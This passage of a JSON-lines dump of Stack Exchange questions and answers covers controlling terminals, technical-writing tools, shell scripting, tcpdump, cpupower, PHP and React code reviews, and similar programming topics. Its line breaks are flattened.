(stderr) for some kind of errors (and if it was put in background and the terminal device was configured with stty tostop, it would then receive a SIGTTOU and be suspended).If instead, firefox is started by your X session manager or Windows manager (when you click on some firefox icon on some menu), it will likely not get any controlling terminal and will have no file descriptor connected to any (you'll see that ps -fp <firefox-pid> shows ? as the tty and lsof -p <firefox-pid> shows no file descriptor on /dev/pts/* or /dev/tty*). If however you browsed to file:///dev/pts/<x>, firefox could still do some I/O to a terminal device. And if it opened that file without the O_NOCTTY flag and if it happened to be a session leader and if that /dev/pts/<x> didn't already have a session attached to it, that device would end up being the controlling terminal of that firefox process.More reading at:How do keyboard input and text output work?What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?EditAfter your edit clarifies a bit the question and adds some context.The above should make it clear that a process can read input from any terminal device they like (except the controlling terminal if the process is not in its foreground process group), but that's not really what is of interest to you here.Your question would be: for an interactive terminal application, where to get the user input from when stdin no longer points to the terminal.Applications like tr get their input from stdin and write on stdout. When stdin/stdout is a tty device with a terminal at the other end, they happen to be interactive in that they read and write data from/to the user.Some terminal text editors (like ed/ex and even some vi implementations) continue reading their input from stdin when stdin is no longer a terminal so they can be scriptable.A pager though is a typical application that still needs to interact with the user even when their input is not a terminal (at least when their output still goes to the terminal). So they need another channel to the terminal device to take user input. And the question is: which terminal device should they use?Yes, it should be the controlling terminal. As that's typically what the controlling terminal is meant to be. That's the device that would send the pager a SIGINT/SIGTSTP when you press Ctrl-C/Z, so it makes sense for the pager to read other key strokes from that same terminal.The typical way to get a file descriptor on the controlling terminal is to open /dev/tty that redirects there (note that it works even if the process has changed euid so that it doesn't have read permission to the original device. It's a lot better than trying to find a path to the original device (which can't be done portably anyway)).Some pagers like less or most open /dev/tty even if stdin is a tty device (after all, one could do less < /dev/ttyS0 from within a terminal emulator to see what's being sent over serial).If opening /dev/tty fails, that's typically because you don't have a controlling terminal. One might argue that it's because you've been explicitly detached from a terminal so shouldn't be attempting to do user interaction, but there are potential (unusual) situations where you have no controlling terminal device but your stdin/stdout is still a tty device and you'd still want to do user interaction (like an emergency shell in an initrd).So you could fall back to get user interaction from stdin if it's a terminal.One could argue that you'd want to check that stdout is a terminal device and that it points to the same terminal device as the controlling one (to account for things that do man -l /dev/stdin < /dev/ttyS0 > /dev/ttyS1 for instance where you don't want the pager spawned by man to do user interaction) but that's probably not worth the bother especially considering that it's not easy to do portably. That could also potentially break other weird use cases that expect the pager to be interactive as long as stdout is a terminal device."  } 
{  "id": "_softwareengineering.47402"  , "question": "I'm looking for a toolkit in the form of one or a couple of applications that can be used to write long technical texts (such as an introduction to a programming language). What applications (or combination of) are suitable for this?How should said applications be setup (for example how would one setup MS Word to best fit writing a technical text)?How do you deal with source code, syntax coloring and formatting?In the case of it being several applications, how do you interact between them?"  , "title": "What is the best toolkit for writing long technical texts?"  , "tags": "text editor;applications;writing"  , "accepted_answer": "LaTeX  is   what you need.  MiKTeX - for Windows.  Text EditorsKile - for Linux.TeXnicCenter for Windows.   DocumentationFree LaTeX documentation.Complexity comparison"  } 
{  "id": "_unix.103459"  , "question": "I'd like to get output showing what has been copied by cp.The only problem is how to do it when I cp many files at a time. For instance, cp ./sourceDir/* $destinationPath/."  , "title": "Display what has been copied by `cp` (using `ksh`)"  , "tags": "ksh;cp"  , "accepted_answer": "Like Lawrence has mentioned, you can usecp -vto enable verbose mode, which displays the files you copy. Something else that might be useful iscp -v > foowhich will output the list of files to a file called foo. This is useful if you're going to copy a lot of files and you want to be able to review the list later."  } 
{  "id": "_cstheory.25621"  , "question": "The wikipedia page on PSPACE mentions that the inclusion $NL\\subset PH$ is not known to be strict (unfortunately without references). Q1: What about $L\\subset PH$ and $L\\subset P^{\\#P}$ - are these known to be strict? Q2: If no, is there an established class $C$ which contains $P^{\\#P}$ and for which it is not known if the inclusion $L\\subset C$ is strict?Q3: Are such inclusions discussed in literature?"  , "title": "Large classes which contain LOGSPACE for which strict inclusions are unknown"  , "tags": "cc.complexity theory;complexity classes;logspace"  } 
{  "id": "_webmaster.23727"  , "question": "First of all I am a programmer and have really basic knowledge like keywords, titles and content makes difference on SEO ranking. I have a website which is more like yellow pages. I have imported about 40,000 businesses and they have a SEO friendly urls as well they are divided by categories and subcategories. If I expose all those to google at the same time will they create any problems should I open them to Google in few hundered and with couple of days between them? As this is a  large number of pages can Google end up thinking it is a spam website and hence punish it in ranking? Also my category and paging urls are with query strings ie. ?page=1&cat=12. Can Google crawl those kind of urls? Do I have to change them to /12/1 type urls with Url rewiting?"  , "title": "Need SEO Guidance on Huge dynamic website"  , "tags": "seo;dynamic"  } 
{  "id": "_webmaster.59568"  , "question": "Some time ago I bought a cool domainname to match my username, namely, wol.ph. After looking in the Google Webmaster Tools recently it told me that the Geographic Target for my domain is understandably the Philippines.Since the Webmaster Tools don't allow me to change the target I was wondering if this will actually affect my site negatively and if I should just move the site to a different domain for it to show up in rankings.So... should I move my site to a different (.com, .org, .net, etc.) tld?"  , "title": "Will the Geographic Target of my website negatively affect my search ranking?"  , "tags": "seo;google search console;geotargeting;negative seo"  , "accepted_answer": "When you website is targeted to a specific country, you will rank better in that country and much worse everywhere else in the world.Unless your top level domain is on Google's list of generic top level domains, you won't be able to use it for a website that targets a global audience and gets traffic from Google search."  } 
{  "id": "_codereview.32656"  , "question": "Here is the code I wrote for my mother's dental office.  It fulfills these tasks:determines whether a tooth is anterior or posteriordetermines if the patient needs a fillingsets up a later appointmentMy issue is with cleaning the code to increase readability, because I think there is a better way to write it.  I also need help outputting the answers to a .txt file for later reference, but I'm not sure if that will screw up the code.I am newbie, so tips are very much appreciated. I have a lot of bad habits when it comes to programming.// fillings program#include <iostream>using namespace std;int main(){    bool post,              // posterior: ?         ante;              // anterior: ?    int fillings;           // fillings: Y/N    int tooth_number;       // tooth_number: 1-32    int surface_num;        // surface_num should be 1-5    int amal_or_comp;       // amalgum or composite filling    int cav_deep;           // input for if cavity is deep    cout << Is the cavity deep?: 1.Yes 2.No << endl;    cin  >> cav_deep;    if (cav_deep==1)        cout << Temporary filling needed. Patient needs to come back for permanent      fill at later date. << endl;        else if (cav_deep==2)    {        cout << Fillings Needed?: 1.Yes 2.No << endl;        cin  >> fillings;        if (fillings==2)        {            cout << Proceed to 'crowns' << endl;        }        if (fillings==1)        {            cout << Tooth #:  << endl;            cin >> tooth_number;            cout << Tooth # entered is:  << tooth_number << endl;            // if tooth is posterior            if (tooth_number>=1&&tooth_number<=5)            {                cout << Posterior Tooth << endl;                cout << 1. Amalgam or 2. Composite? << endl;                cin  >> amal_or_comp;                if(amal_or_comp==1)                    cout << Amalgam selected. << endl;                if(amal_or_comp==2)                    cout << Composite selected. << endl;                cout << Surface #: ;                cin  >> surface_num;                cout << Surface # entered:  << surface_num;            }            if (tooth_number>=12&&tooth_number<=16)            {                cout << Posterior Tooth << endl;                cout << 1. Amalgam or 2. Composite? << endl;                cin  >> amal_or_comp;                if(amal_or_comp==1)                    cout << Amalgam selected. << endl;                if(amal_or_comp==2)                    cout << Composite selected. << endl;                cout << Surface #: ;                cin  >> surface_num;                cout << Surface # entered:  << surface_num;            }            if (tooth_number>=17&&tooth_number<=21)            {                cout << Posterior Tooth << endl;                cout << 1. Amalgam or 2. Composite? << endl;                cin  >> amal_or_comp;                if(amal_or_comp==1)                    cout << Amalgam selected. << endl;                if(amal_or_comp==2)                    cout << Composite selected. << endl;                cout << Surface #: ;                cin  >> surface_num;                cout << Surface # entered:  << surface_num;            }            if (tooth_number>=28&&tooth_number<=32)            {                cout << Posterior Tooth << endl;                cout << 1. Amalgam or 2. Composite? << endl;                cin  >> amal_or_comp;                if(amal_or_comp==1)                    cout << Amalgam selected. << endl;                if(amal_or_comp==2)                    cout << Composite selected. << endl;                cout << Surface #: ;                cin  >> surface_num;                cout << Surface # entered:  << surface_num;            }            // if tooth is anterior            if (tooth_number>=6&&tooth_number<=11)            {                cout << Anterior Tooth << endl;                cout << Composite << endl;                cout << Surface #: ;                cin  >> surface_num;                cout << Surface # entered:  << surface_num;            }            if (tooth_number>=22&&tooth_number<=27)            {                cout << Anterior Tooth << endl;                cout << Composite << endl;                cout << Surface #: ;                cin  >> surface_num;                cout << Surface # entered:  << surface_num;            }        }    }}"  , "title": "Dental office program"  , "tags": "c++;beginner"  } 
{  "id": "_unix.250666"  , "question": "I am new to Linux and learning it. While installing gambas, I am facing some problems.The list of commands I need to execute follow.$> sudo add-apt-repository ppa:gambas-team/gambas-daily$> sudo apt-get update$> sudo apt-get install gambas3But when running the first command it shows the following. sudo: apt-get: command not found  Any help? "  , "title": "Command not Found in centos 6"  , "tags": "centos;package management"  , "accepted_answer": "As per the gambas3 Compilation & Installation documentation, there is no direct distro available in centOS 6 to install gambas3.   If you still wants to install, you will have to manually compile and install it. For this, I think, you should try the instructions for Fedora 13, 14, 15 & 16 given in Gambas 3.0 compilation instructions documentation for Fedora."  } 
{  "id": "_codereview.126050"  , "question": "I'm trying to learn the Repository pattern, and I have some questions regarding my current understanding of it.All the examples I've been able to find of database repositories use ORMs, but for a number of reasons, I can't use an ORM in the project I am learning this for. So, when not using an ORM, where should the SQL queries go? My best guess was in the repository class itself, so that's what I did in the example below.How's my naming convention for the repository's methods? I stuck with the create/update/delete verbiage of SQL as a sort of placeholder, but is there a better way?Because I'm not using an ORM, I need a setId() method in my repository. I recognize the danger inherent in allowing id's to be changed after object creation. Right now I prevent that by throwing an exception in setId() if id is not null. Is that alright or is there a better way?Am I doing anything just completely wrong in general?Here is my current implementation, as far as I understand the concepts.Product.php<?phpnamespace Vendor\\Package\\Module\\Entities;class Product{    /** @var int $id */    protected $id;    /** @var string $name */    protected $name;    public function getId()    {        return $this->id;    }    public function setId($id)    {        if ($this->id !== null) {            throw new Exception('id cannot be reset.');        }        $this->id = $id;        return $this;    }    public function getName()    {        return $this->name;    }    public function setName($name)    {        $this->name = $name;        return $this;    }}ProductRepositoryInterface.php<?phpnamespace Vendor\\Package\\Module\\Repositories;use PDO;use Vendor\\Package\\Module\\Entities\\Product;interface ProductRepositoryInterface{    public function findAll();    public function findById($id);    public function create(Product $product);    public function update(Product $product);    public function delete(Product $product);}ProductRepository.php<?phpnamespace Vendor\\Package\\Module\\Repositories;use PDO;use Vendor\\Package\\Module\\Entities\\Product;class ProductRepository implements ProductRepositoryInterface{    /** @var PDO $db */    protected $db;    public function __construct(PDO $db)    {        $this->db = $db;    }    /**     * @return array     */    public function findAll()    {        $stmt = $this->db->query(            'SELECT                id,                name            FROM products            WHERE active = 1'        );        $products = [];        while ($stmt->fetch(PDO::FETCH_ASSOC)) {            $product = new Product();            $product                ->setId($result['id'])                ->setName($result['name'])            ;        }        return $products;    }    /**     * @param int $id     *     * @return Product     */    public function findById($id)    {        $stmt = $this->db->prepare(            'SELECT                id,                name            FROM products            WHERE id = :id                AND active = 1            LIMIT 1'        );        $stmt->bindValue(':id', $id, PDO::PARAM_INT);        $stmt->execute();        $result = $stmt->fetch(PDO::FETCH_ASSOC);        $product = new Product();        $product            ->setId($result['id'])            ->setName($result['name'])        ;    }    /**     * @param Product $product     *     * @return int     */    public function create(Product $product)    {        $stmt = $this->db->prepare(            'INSERT INTO products (                name            ) VALUES (                :name            )'        );        $stmt->bindValue(':name', $product->getName(), PDO::PARAM_STR);        $stmt->execute();        $id = $this->db->lastInsertId();        $product->setId($id);        return $id;    }    /**     * @param Product $product     *     * @return bool     */    public function update(Product $product)    {        $stmt = $this->db->prepare(            'UPDATE products SET                name = :name            WHERE id = :id                AND active = 1'        );        $stmt->bindValue(':name', $product->getName(), PDO::PARAM_STR);        $stmt->bindValue(':id', $product->getId(), PDO::PARAM_INT);        return $stmt->execute();    }    /**     * @param Product $product     *     * @return bool     */    public function delete(Product $product)    {        $stmt = $this->db->prepare(            'UPDATE products SET                active = 0            WHERE id = :id                AND active = 1'        );        $stmt->bindValue(':id', $product->getId(), PDO::PARAM_INT);        return $stmt->execute();    }}demo.php<?phpuse Vendor\\Package\\Module\\Entities\\Product;use Vendor\\Package\\Module\\Repositories\\ProductRepository;$repository = new ProductRepository($db);// Createif (    isset($_POST['create'])    && isset($_POST['name'])) {    $product = new Product();    $product        ->setName($_POST['name'])    ;    $repository->create($product);}// Updateif (    isset($_POST['update'])    && isset($_POST['id'])    && isset($_POST['name'])) {    $product = new Product();    $product        ->setId($_POST['id'])        ->setName($_POST['name'])    ;    $repository->update($product);}// Deleteif (    isset($_POST['delete'])    && isset($_POST['id'])) {    $product = new Product();    $product        ->setId($_POST['id'])    ;    $repository->delete($product);}"  , "title": "Repository Pattern without an ORM"  , "tags": "php;design patterns;repository"  } 
{  "id": "_unix.285698"  , "question": "As a root user, I created a file in / directory. I can only read this file when logged in as normal user (say A) as expected.I changed the ownership to A.Now A can read as well as write.But when I try to delete it, permission denied message comes.Can anyone explain why?"  , "title": "Why can't i delete file when i have the file's ownership?"  , "tags": "permissions;chown"  } 
{  "id": "_datascience.9590"  , "question": "I have no background AT ALL in data science/stats/mathematics. However, I've always been interested in what data shows.I have a huge dataset right now - daily attendance figures for a factory of ~300 for the past 10 years. I'm interested in finding out answers to questions like is there a pattern of leaves correlated with public holidays? For example, around which holiday (+/- 2 days) are workers most likely to take a leave? This is an expected pattern. Or, was there a significant increase (+10%) in on-time reporting after bonuses were issued. Maybe there are hidden patterns which an algorithm can find.Is there a tool I can plug this data in which can help me find these patterns? Google tells me there's a tool http://www.i-programmer.info/news/84-database/3501-mine-finding-patterns-in-big-data.html but I'm not sure if this is the right direction for me.I'd appreciate any advice!"  , "title": "What tool to find expected and hidden patterns in data?"  , "tags": "data mining"  } 
{  "id": "_codereview.105670"  , "question": "I'm trying to break down the individual functionality of a advanced table UI into different react components (right now all table components are really heavy).I came up with this way of exposing properties of a component to the parent component which allows components to talk to each other. It's quite messy and I'm looking for better ways of achieving this.Here's the working demo.function filter (value, caseSensitive, children) {  return main.recursion (children, function (children, recursion, wrapper) {    return _.filter(children, wrapper(function (child) {      if (typeof child.props.children !== 'string') {        var result = recursion(child.props.children)        return Boolean(result.length)      } else {        var flag = (caseSensitive) ? '' : 'i'        var pattern = new RegExp(value, flag)        return (child.props.children.match(pattern))      }    }))  })}var FilterChildren = React.createClass({  displayName: 'FilterChildren',  propTypes: {    children: React.PropTypes.node,    provideFilter: React.PropTypes.func,    provideFilterChildren: React.PropTypes.func,    onFilter: React.PropTypes.func,    caseSensitive: React.PropTypes.bool,    selector: React.PropTypes.string  },  getInitialState: function () {    return {      children: this.props.children    }  },  componentWillMount: function () {    if (this.props.provideFilter) this.props.provideFilter(this.filter)    if (this.props.provideFilterChildren) this.props.provideFilterChildren(this.filterChildren)  },  filterChildren: function (children) {    this.children = children  },  filter: function (value) {    this.props.onFilter(filter(value, this.props.caseSensitive, this.children))  },  render: function () {    return this.state.children  }})var StatefulChildren = React.createClass({  displayName: 'StatefulChildren',  propTypes: {    children: React.PropTypes.node,    provide: React.PropTypes.func,    supply: React.PropTypes.func,    element: React.PropTypes.string  },  getInitialState: function () {    return {      children: this.props.children    }  },  componentWillMount: function () {    if (this.props.provide) this.props.provide(this.setChildren)    if (this.props.supply) this.props.supply(this.props.children)  },  setChildren: function (children) {    this.setState({      children: children    })  },  render: function () {    return React.createElement(      this.props.element,      null,      this.state.children    )  }})var Page = React.createClass({  invokeFilter: function (event) {    return this.filter(event.target.value)  },  handleFilter: function (nodes) {    this.setTbodyChildren(nodes)  },  provideFilter: function (filter) {    this.filter = filter  },  provideFilterChildren: function (filterChildren) {    this.filterChildren = filterChildren  },  provideSetTbodyChildren: function (setTbodyChildren) {    this.setTbodyChildren = setTbodyChildren  },  supplyTbodyChildren: function (tbodyChildren) {    this.filterChildren(tbodyChildren)  },  render: function () {    return (      <div>        <input type='text' onChange={this.invokeFilter}></input>        <table>          <FilterChildren provideFilter={this.provideFilter} provideFilterChildren={this.provideFilterChildren} onFilter={this.handleFilter}>            <StatefulChildren element='tbody' provide={this.provideSetTbodyChildren} supply={this.supplyTbodyChildren}>              <tr>                <td>French Fries</td>                <td>Mimes</td>                <td>Discotech</td>              </tr>              <tr>                <td>Bread</td>                <td>Coffee</td>                <td>Wine</td>              </tr>            </StatefulChildren>          </FilterChildren>        </table>      </div>    )  }})React.render(<Page/>, document.body)"  , "title": "Filter children component via input component"  , "tags": "javascript;react.js"  } 
{  "id": "_unix.343493"  , "question": "I would like to know how to monitor tcp traffic between my localhost  and IP address keeping activities in a file. I tried iftop and tcptrack but I can not keep activities in a file. These tools don't target a specify IP adress, they're monitoring the interface only : iftop -i eth2 -f dst port 22I tried to put the IP adress in place of dst but it doesn't work.The idea is for detecting any suspect trafficThanks for help "  , "title": "How to monitor tcp traffic between my localhost and IP adress"  , "tags": "networking;monitoring;network interface;bandwidth"  , "accepted_answer": "As @blametheadmin mentioned in a comment, you can use tshark.  Another option is tcpdump:$ tcpdump -w trace.out host <hostname-or-ip>Then later, you can examine that trace with:$ tcpdump -r trace.out"  } 
{  "id": "_unix.115732"  , "question": "Quite often, we run an executable that needs to write / read some temporary files. We usually create a temporary directory, run the executable there, and delete the directory when the script is done.I want to delete the directory even if the executable is killed. I tried to wrap it in:#!/bin/bashdir=$(mktemp -d /tmp/foo.XXXXXXX) && cd $dir && rm -rf $dir/usr/local/bin/my_binaryWhen my_binary dies, the last process the kernel will delete the directory, as the script is the last process holding that inode; but I can't create any file in the deleted directory.#!/bin/bashdir=$(mktemp -d /tmp/foo.XXXXXXX) && cd $dir && rm -rf $dirtouch file.txtoutputs touch: file.txt: No such file or directoryThe best I could come up with is to delete the temp directory when the process dies, catching the most common signals, and run a cleanup process with cron:#!/bin/bashdir=$(mktemp -d /tmp/d.XXXXXX) && cd $dir || exit 99trap 'rm -rf $dir' EXIT/usr/local/bin/my_binaryIs there some simple way to create a really temporary directory that gets deleted automatically when the current binary dies, no matter what?"  , "title": "How to delete a directory automatically when an executable is killed"  , "tags": "bash;files"  , "accepted_answer": "Your last example is the most fail safe. trap 'rm -rf $dir' EXITThis will execute as long as the shell itself is still functional. Basically SIGKILL is the only thing that it won't handle since the shell is forcibly terminated.(perhaps SIGSEGV too, didn't try, but it can be caught)If you don't leave it up to the shell to clean up after itself, the only other possible alternative is to have the kernel do it. This is not normally a kernel feature, however there is one trick you can do, but it has it's own issues:#!/bin/bashmkdir /tmp/$$mount -t tmpfs none /tmp/$$cd /tmp/$$umount -l /tmp/$$rmdir /tmp/$$do_stuffBasically you create a tmpfs mount, and then lazy unmount it. Once the script is done it'll be removed.The downside other than being overly complex, is that if the script dies for any reason before the unmount, you've not got a mount laying around.This also uses tmpfs, which will consume memory. But you could make the process more complex and use a loop filesystem, and remove the file backing it after it's mounted.Ultimately the trap is best as far as simplicity and safety, and unless you're script is regularly getting SIGKILLed, I'd stick with it."  } 
{  "id": "_unix.229350"  , "question": "Since my previous question on this topic, I upgraded my kernel a few times and I ran into another problem: cpupower doesn't seem to show and set the cpu frequency in a reliable way.First, some information:# uname -aLinux yoga 4.0.5-gentoo #3 SMP Tue Jul 21 08:43:04 HKT 2015 x86_64 Intel(R) Core(TM) i5-3317U CPU @ 1.70GHz GenuineIntel GNU/Linux# cpupower frequency-info                                 analyzing CPU 0:  driver: acpi-cpufreq  CPUs which run at the same hardware frequency: 0  CPUs which need to have their frequency coordinated by software: 0  maximum transition latency: 10.0 us.  hardware limits: 782 MHz - 1.70 GHz  available frequency steps: 1.70 GHz, 1.70 GHz, 1.60 GHz, 1.50 GHz, 1.40 GHz, 1.30 GHz, 1.20 GHz, 1.10 GHz, 1000 MHz, 900 MHz, 800 MHz, 782 MHz  available cpufreq governors: conservative, ondemand, powersave, userspace, performance  current policy: frequency should be within 782 MHz and 1.70 GHz.                  The governor performance may decide which speed to use                  within this range.  current CPU frequency is 1.70 GHz (asserted by call to hardware).  cpufreq stats: 1.70 GHz:90.12%, 1.70 GHz:0.00%, 1.60 GHz:0.64%, 1.50 GHz:0.00%, 1.40 GHz:0.00%, 1.30 GHz:0.00%, 1.20 GHz:0.00%, 1.10 GHz:0.00%, 1000 MHz:0.00%, 900 MHz:0.00%, 800 MHz:0.00%, 782 MHz:9.25%  (267)  boost state support:    Supported: yes    Active: yes    2400 MHz max turbo 4 active cores    2400 MHz max turbo 3 active cores    2400 MHz max turbo 2 active cores    2600 MHz max turbo 1 active coresAnd now the weird stuff:# cpupower frequency-info|grep -P The governor|CPU frequency                  The governor performance may decide which speed to use  current CPU frequency is 1.70 GHz (asserted by call to hardware).# grep MHz /proc/cpuinfocpu MHz         : 1701.000cpu MHz         : 1701.000cpu MHz         : 1701.000cpu MHz         : 1701.000# cpupower frequency-set -f 800Setting cpu: 0Setting cpu: 1Setting cpu: 2Setting cpu: 3# cpupower frequency-info|grep -P The governor|CPU frequency                  The governor userspace may decide which speed to use  current CPU frequency is 1.70 GHz (asserted by call to hardware).# grep MHz /proc/cpuinfocpu MHz         : 782.000cpu MHz         : 782.000cpu MHz         : 782.000cpu MHz         : 782.000# cpupower frequency-set -f 1700Setting cpu: 0Setting cpu: 1Setting cpu: 2Setting cpu: 3# cpupower frequency-info|grep -P The governor|CPU frequency                  The governor userspace may decide which speed to use  current CPU frequency is 1.70 GHz (asserted by call to hardware).# grep MHz /proc/cpuinfo                                      cpu MHz         : 782.000cpu MHz         : 782.000cpu MHz         : 782.000cpu MHz         : 782.000# cpupower frequency-set -g performanceSetting cpu: 0Setting cpu: 1Setting cpu: 2Setting cpu: 3# cpupower frequency-info|grep -P The governor|CPU frequency                  The governor performance may decide which speed to use  current CPU frequency is 1.70 GHz (asserted by call to hardware).# grep MHz /proc/cpuinfocpu MHz         : 1701.000cpu MHz         : 1701.000cpu MHz         : 1701.000cpu MHz         : 1701.000To summarize:When I set the frequency to 800, cpupower sets it to 782, and says it is still 1700 (asserted by call to hardware!)When I set the frequency back to 1700, cpupower does nothing (and still says it is 1700)When I set the governor to performance, cpupower finally sets the frequency to 1700Is there a way to make cpupower work reliably? Or is it a bug?"  , "title": "Cpupower doesn't work reliably"  , "tags": "linux;cpu frequency"  } 
{  "id": "_softwareengineering.185574"  , "question": "I have almost a 'best-practice' question that's been nagging at me for a while.When I use JavaScript libraries and APIs such as JQGrid or Google Maps, I tend to find myself creating server side libraries to render the JavaScript for me.For example I might have:$map->setZoom(10);$map->setDimensions(200,250);in PHP, which would internally render the relevant JS when I call $map->render();, for example.This means I can easily generate JavaScript based on the state of my applications. I also find it easier to work with the data I already have in my controllers etc.Is this a suitable way of using common functionality within a JavaScript library or would it be better to write JS as standard?"  , "title": "Server side JavaScript rendering"  , "tags": "javascript"  , "accepted_answer": "First issue: code qualityHow do you:unit test,debug,review for security issues,this generated code?The issue is the same for any generated code.That's why code generation tools are used only for simplistic tasks where the code is mostly boilerplate.For example in .NET world, Visual Studio generates code for Windows Forms and is limited to positioning and customizing controls, but nothing technically challenging. In the same way, Entity Framework generates the mappings for the database, which means lines and lines of boilerplate, uninteresting, monotonous code.Second issue: performanceIf the code is generated, how do you cache it? Is it at least cached? If not, have you measured the precise impact on the performance, compared to the correctly-cached static JavaScript code? What about the impact on the server which needs to generate this code and how does it scale?This issue may be non-existent in some cases (or at least the slight performance impact is very limited by severe caching, and a few milliseconds spent by the server generating the files is outweighed by the gains in terms of time you spend writing code), but you still need to measure the impact to know exactly how is it affecting your application.Third issue: lower interoperabilityJavaScript code written in JavaScript can be used no matter which framework is used server-side. JavaScript code I've written for an ASP.NET MVC website two years ago can still be used for a new website in Python.If the code is generated server-side using server side programming language, you won't be able to reuse the same code in websites powered by other programming languages. Moreover, even migrating to newer versions of the same framework may be painful."  } 
{  "id": "_softwareengineering.211023"  , "question": "So I was wondering today, where would you put utility classes in an ASP.NET MVC app? By utility classes I mean classes that can be static and are just used to perform a function. Like a class to send an email that takes email address , subject, and body as arguments.I would assume maybe creating a separate folder and namespace would be good enough, but wanted to get everyone opinions"  , "title": "Utility Classes in MVC - ASP.NET"  , "tags": "asp.net;asp.net mvc 4"  , "accepted_answer": "You don't. And your own example is a perfect one to show why not.You want to send emails, right? So you create somewhere a static class CommunicationUtilities with a static SendEmail() in it. You use this method from some class which does a bunch of stuff, , for example resets the password of a user and sends him a new one by email. Perfect.Now, what happens if you want to unit-test your class? You can't, because every time you want to test the method which resets the password, it changes the database (which is not suitable for a unit test), and moreover sends an email (which is even worse).You may have read about Inversion of Control, which has a benefit of making unit testing easier. Articles about IoC will explain you that instead of doing something like:void ResetPassword(UserIdentifier userId){    ...    new MailSender().SendPasswordReset(userMail, newPassword);}you do:void ResetPassword(IMailSender sender, UserIdentifier userId){    ...    sender.SendPasswordReset(userMail, newPassword);}which allows to use mocks and stubs.Try to apply IoC to your CommunicationUtilities. Right, you can't. That's why it's broken."  } 
{  "id": "_cogsci.12395"  , "question": "I've recently encountered the domain of social network modelling while reading the papers on models of strategic voting (unpublished), opinion dynamics and influence spread.All of these papers create complex computational models, usually modelling social networks as graphs and inferring that their behaviour match actual social behaviour.However, I don't understand how these models can be empirically rigorous. It seems to me that the ways to validate a model is to match with empirical data, either via data matching or prediction. This doesn't seem to be done in any of those papers.Consequently, how are these models validated?"  , "title": "Empirical proof for social network models"  , "tags": "cognitive modeling;social networks;sociology"  , "accepted_answer": "I found two papers in the same vein with considerably more empirical evidence.The first paper is Modeling the Size of Wars. In the paper, provinces and conflicts are modeled to justify the Richardson's observation that the proportion of the severity of conflicts in relation to their frequency is described by a power law. In other words, the more space there is between each conflict, the more casualties will result. The models uses a lot of detail. A geographical map is created and conflicts (down to technological advancement, political structural change and resource allocation) are simulated in models with dozens of parameters. More importantly, the level of detail in the paper remain meaningful given that parameters can be set to reflect and test historical scenarios to disprove or give further evidence to the model.The second paper is The Dynamics of Polarisation. The focus of the paper is modeling the change of public opinion in the United States as a way to provide explanation for two phenomenon: that polarization of opinion is rare despite being perceived otherwise and that opinion homogeneity is rare, despite being perceive otherwise. To model these phenomenon, a network similar to that of the Opinion Dynamics paper from the question is built, with imposed homophily. However, the paper grounds it's parameters in reality (for example, take-off issues that stimulate much discussion are considered rare). In contrast, the Opinion Dynamics paper creates parameters for skepticism and empathy, without giving much consideration for the mechanisms behind these attributes and how they might change over time.In summary, there are papers with empirical basis in the domain of social network models. Typically, this realism is achieved by basing parameters on empirical evidence, rather than the usual awkward simplification of cognitive phenomena.Update: The author of two of the papers I cited, Alan Tsang, was kind enough to provide a rebuttal to my scepticism via personal correspondence:The premise behind both the papers was to examine the effects of a  particular psychological phenomenon by examining it in isolation.  We  base our work on more conventional agent models from economics, which  assume completely rational actors.  We want to see what happens when  the rational behavior is tweaked to incorporate a behavioral  component.  In particular, we are interested in the qualitative  effects that are produced, and the mechanisms by which these are  achieved.  An agent based simulation is the ideal way of studying  this, because it allows us to drill down and take measurements that  would be impossible or very difficult to do in an actual community.   So what we are doing is more mathematics and less science.  The  results of the papers provide qualitative insights on what are  plausible effects of these behaviors on a larger system.  The next  step could certainly be to validate the model against real data, but  the goal of the paper is not to perform full stack science.  Rather,  we hope it would prove useful component in a more detailed model to be  used on data collect in the wild.That said, we are also interested in validating our model against real  data as well, but they are difficult to come by.  For instance,  Facebook almost certainly has access to data that can be used to  detect homophily in networks, and how they might affect opinions over  time.  But the data is very proprietary and, even if we were to get  it, ethical concerns might limit how it can be used.  As you've  pointed out in the follow-up post, there are a few papers that examine  political affiliation, and those could potentially be useful ground  truth.  But I don't have the background to properly assemble such a  data set from scratch (as it would need both a time series of  opinions, and the underlying network structure).  Moreover, there are  sure to be other effects at work as well, which may confound the  analysis.  We're giving some thought to gathering data for the last  Canadian election, since strategic voting was so widespread and  successful, but any data we collect will likely be disconnected from  social network structure.  Maybe some aggregate network properties  could be inferred (ex: based on region), but it would be a  multi-layered problem."  } 
{  "id": "_unix.55069"  , "question": "I want to accumulate the line size of a number of files contained in a folder. I have written the following script:let a=0let num=0for i in folder/*do        num=`cat $i | wc -l`        a=$a+$numdoneecho $aWhat i am geting at the end of the script is 123+234+432+... and not the result of the arithmetic operation of addition."  , "title": "How to add arithmetic variables in a script"  , "tags": "shell;shell script;arithmetic"  , "accepted_answer": "Your arithmetic evaluation syntax is wrong. Use any of the following (the first is extremely portable but slow, the second is POSIX and portable except to the Bourne shell and earlier versions of the Almquist shell, the last three require ksh, bash or zsh):a=`expr $a + $num`a=$(($a+$num))((a=a+num))let a=a+num((a+=num))Or you can just skip the entire for loop and just do:wc -l folder/*Or, if you only want the total:cat folder/* | wc -lOr with zsh and its mult_ios option:wc -l < folder/*"  } 
{  "id": "_unix.198283"  , "question": "How do I use wget to download files to a specific location, without creating directories, and overwrite the original every time.I've tried using the -r -P and nc options in combination but this resulted in several undesirable effects.wget -P ./temp -r https://raw.githubusercontent.com/octocat/Spoon-Knife/master/README.md -ndThe above downloads README.md to the /temp directory in the current folder, but preserves the original README.md and numbers all subsequent README.md files.wget -r -P ./temp https://raw.githubusercontent.com/octocat/Spoon-Knife/master/README.md -ndAbove command does the same thing.wget -P ./temp -nc https://raw.githubusercontent.com/octocat/Spoon-Knife/master/README.md -rWith this one, the file is replaced but directories are created."  , "title": "Using wget, how to download to a specific location, without creating folders, and always overwrite original files"  , "tags": "files;terminal;wget"  , "accepted_answer": "You can achieve the required result in wget (or curl) by specifying an output document.With wget:wget https://raw.git...etc.../README.md -O ./temp/README.mdWith curl:curl https://raw.git...etc.../master/README.md > ./temp/README.md"  } 
